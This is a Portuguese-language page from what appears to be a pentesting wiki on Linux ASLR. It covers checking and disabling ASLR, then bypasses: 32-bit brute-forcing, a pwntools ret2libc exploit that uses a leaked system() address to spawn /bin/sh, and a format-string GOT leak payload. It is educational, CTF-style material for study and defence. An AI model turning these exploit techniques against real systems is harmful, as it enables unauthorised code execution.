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ASLR

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Informações Básicas

Randomização do Layout do Espaço de Endereços (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.

Verificando o Status do ASLR

Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:

  • 0: Sem randomização. Tudo é estático.
  • 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
  • 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de brk() é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:

cat /proc/sys/kernel/randomize_va_space

Desativando o ASLR

Para desativar o ASLR, você define o valor de /proc/sys/kernel/randomize_va_space como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Você também pode desativar o ASLR para uma execução com:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ativar ASLR

Para ativar o ASLR, você pode escrever um valor de 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistência através de reinicializações

As alterações feitas com os comandos echo são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Depois de editar /etc/sysctl.conf, aplique as alterações com:

sudo sysctl -p

Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.

Bypasses

Forçando por tentativa e erro em 32 bits

O PaX divide o espaço de endereço do processo em 3 grupos:

  • Código e dados (inicializados e não inicializados): .text, .data e .bss —> 16 bits de entropia na variável delta_exec. Esta variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.
  • Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, chamado delta_mmap.
  • A pilha —> 24 bits, referido como delta_stack. No entanto, ele efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 possíveis endereços reais de pilha.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.

Ideias de força bruta:

  • Se você tiver um estouro grande o suficiente para hospedar um grande trenó NOP antes do shellcode, você poderia apenas forçar os endereços na pilha até que o fluxo salte sobre alguma parte do trenó NOP.
  • Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o trenó NOP e o shellcode em uma variável de ambiente.
  • Se o exploit for local, você pode tentar forçar o endereço base do libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ao atacar um servidor remoto, você pode tentar forçar o endereço da função usleep da libc, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.

{% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não é possível. {% endhint %}

Tendo um vazamento

  • O desafio é fornecer um vazamento

Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do exemplo daqui (verifique essa página para mais detalhes):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Aproveitando um estouro de buffer, seria possível explorar um ret2plt para exfiltrar um endereço de uma função da libc. Verifique:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Leitura Arbitrária de Strings de Formato

Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível exfiltrar o endereço de uma função libc a partir do GOT. O seguinte exemplo está aqui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret

Tente contornar o ASLR abusando de endereços dentro da pilha:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}

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